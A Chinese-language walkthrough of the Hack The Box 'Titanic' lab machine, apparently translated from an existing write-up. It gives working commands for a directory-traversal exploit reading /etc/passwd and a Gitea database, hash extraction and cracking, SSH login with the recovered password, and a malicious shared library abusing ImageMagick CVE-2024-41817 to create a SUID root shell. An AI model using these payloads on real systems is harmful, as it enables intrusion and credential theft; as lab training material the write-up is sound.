HTB Titanic靶机渗透:从目录遍历到ImageMagick漏洞提权

本文详细分析了HTB Titanic靶机的渗透过程,包括通过Flask应用的目录遍历漏洞读取Gitea数据库,破解用户哈希获取SSH访问权限,并利用ImageMagick的CVE-2024-41817漏洞实现权限提升。

HTB: Titanic

侦察

Nmap扫描

Nmap扫描发现两个开放的TCP端口:SSH(22)和HTTP(80):

1
2
3
4
5
6
7
8
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 13:45 EST
Nmap scan report for 10.10.11.55
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

详细版本扫描显示:

  • SSH运行OpenSSH 8.9p1 Ubuntu
  • HTTP运行Apache 2.4.52,重定向到titanic.htb

子域名爆破

使用ffuf发现dev.titanic.htb子域名:

1
2
oxdf@hacky$ ffuf -u http://10.10.11.55 -H "Host: FUZZ.titanic.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 101ms]

Titanic.htb网站分析

技术栈

网站使用Werkzeug/3.0.3 Python/3.10.12,基于Flask框架:

1
Server: Werkzeug/3.0.3 Python/3.10.12

目录爆破

Feroxbuster扫描未发现有趣目录,但确认/book端点只接受POST请求。

Dev.titanic.htb - Gitea实例

代码库分析

发现两个公共仓库:

  • docker-config:包含Docker compose文件
  • flask-app:包含主网站源代码

漏洞发现

在app.py中发现目录遍历漏洞:

1
2
3
4
5
6
@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    json_filepath = os.path.join(TICKETS_DIR, ticket)
    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)

开发者Shell获取

文件读取利用

利用os.path.join特性读取系统文件:

1
curl 'http://titanic.htb/download?ticket=/etc/passwd'

Gitea数据库提取

读取Gitea配置文件,定位数据库路径:

1
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini'

下载数据库文件:

1
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db

哈希破解

从用户表提取哈希并转换为hashcat格式:

1
2
3
4
5
6
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do
  digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
  salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
  name=$(echo $data | cut -d'|' -f 3)
  echo "${name}:sha256:50000:${salt}:${digest}"
done

使用rockyou.txt破解出开发者密码:25282528

SSH访问

1
sshpass -p '25282528' ssh developer@titanic.htb

Root权限提升

枚举发现

在/opt/scripts发现identify_images.sh脚本:

1
2
3
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

脚本每分钟以root权限运行。

ImageMagick漏洞利用

ImageMagick版本7.1.1-35存在CVE-2024-41817漏洞,允许通过恶意共享库执行代码。

创建恶意库:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf");
    exit(0);
}
EOF

等待cron执行后获取root shell:

1
/tmp/0xdf -p

获取Root标志

1
cat /root/root.txt
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计